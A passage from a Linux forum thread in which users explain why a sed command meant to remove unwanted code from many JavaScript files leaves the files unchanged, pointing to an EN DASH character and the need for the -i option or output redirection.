Any suggestion should be appreciated.

Have you tried with the below command

No Sir,

Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files.

Is there any command that we can use to remove above code from all JS files?

Try with few files for now, if the command works, then we can build a command / script for all the JS files by searching and then deleting.

As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is

The sed error message in post #1 is caused by the Unicode character 'EN DASH'.
http://www.fileformat.info/info/unic...2013/index.htm

Executing a sed command over a file does not, by default, change the contents of the file; it just outputs the edited content to standard out.
You need to capture the output, perhaps by redirection, into a new file that will then look as you wish, or review info sed to understand how to make changes in-place

Hi,
As explained by scasey, the given sed command will remove the content of the source file and print on the linux terminal. It will not make any changes on the source file. To remove the lines from the source file permanently use the "-i" option with the sed command.

Note: This will make permanent changes in the SOURCE file. SO BE CAREFUL.

Alternativly, another suggestion is that to redirect it to a new file without the "-i" option in the sed command.

This will anyways preserve the old file and also have a new one. Once the new one is fine, you can keep it or get rid of the old files.
